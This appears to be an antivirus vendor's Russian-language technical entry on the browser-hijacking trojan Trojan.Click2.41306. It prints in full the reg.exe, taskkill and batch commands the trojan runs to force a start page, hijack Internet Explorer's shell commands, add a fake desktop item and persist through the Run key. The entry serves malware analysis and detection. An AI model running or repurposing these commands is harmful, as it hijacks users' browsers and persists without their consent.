Trojan.Click2.41306

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'setIEPage' = '%WINDIR%\default.bat'
[<HKLM>\SOFTWARE\Classes\CLSID\{98745625-1234-1234-1234-1234567890AB}\Shell\Open\Command] '' = '%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE www.931314.com'

Вредоносные функции:

Запускает на исполнение:

<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Search Page" /t REG_SZ /d "http://www.microsoft.com/isapi/redir.dll?pr################" /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Search Bar" /t REG_SZ /d "www.93##14.com" /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d http://www.93##14.com /f
<SYSTEM32>\reg.exe add HKLM\SOFTWARE\Classes\CLSID\{98745625-1234-1234-1234-1234567890AB}\ShellFolder /f /v Attributes /t REG_DWORD /d 0
<SYSTEM32>\reg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{98745625-1234-1234-1234-1234567890AB} /f /ve /d "Internet Explorer"
%WINDIR%\explorer.exe
%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE http://www.93##14.com
<SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v setIEPage /d "%WINDIR%\default.bat" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command" /ve /t REG_SZ /d "%PROGRAM_FILES%\Internet Explorer\iexplore.exe" www.93##14.com /f
<SYSTEM32>\taskkill.exe /f /im IEXPLORE.EXE
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Classes\CLSID\{98745625-1234-1234-1234-1234567890AB}\Shell\╩Ї╨╘(&R)\Command" /f /ve /d "Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl"
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t reg_dword /d 1 /f
<SYSTEM32>\reg.exe delete "HKEY_CLASSES_ROOT\InternetShortcut" /v IsShortcut /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t reg_dword /d 1 /f
<SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\afaklwe222 - ё±±ѕ.bat""
<SYSTEM32>\taskkill.exe /f /im hao123.exe
<SYSTEM32>\reg.exe add HKLM\SOFTWARE\Classes\CLSID\{98745625-1234-1234-1234-1234567890AB}\Shell\Open /f /ve /d "┤Є┐к╓ў╥│(&H)"
<SYSTEM32>\reg.exe add HKLM\SOFTWARE\Classes\CLSID\{98745625-1234-1234-1234-1234567890AB}\Shell\Open\Command /f /ve /d "%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE www.93##14.com"
<SYSTEM32>\reg.exe add HKLM\SOFTWARE\Classes\CLSID\{98745625-1234-1234-1234-1234567890AB}\DefaultIcon /f /ve /d "%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE"
<SYSTEM32>\msiexec.exe /regserver
<SYSTEM32>\reg.exe add HKLM\SOFTWARE\Classes\CLSID\{98745625-1234-1234-1234-1234567890AB} /f /ve /d "Internet Explorer"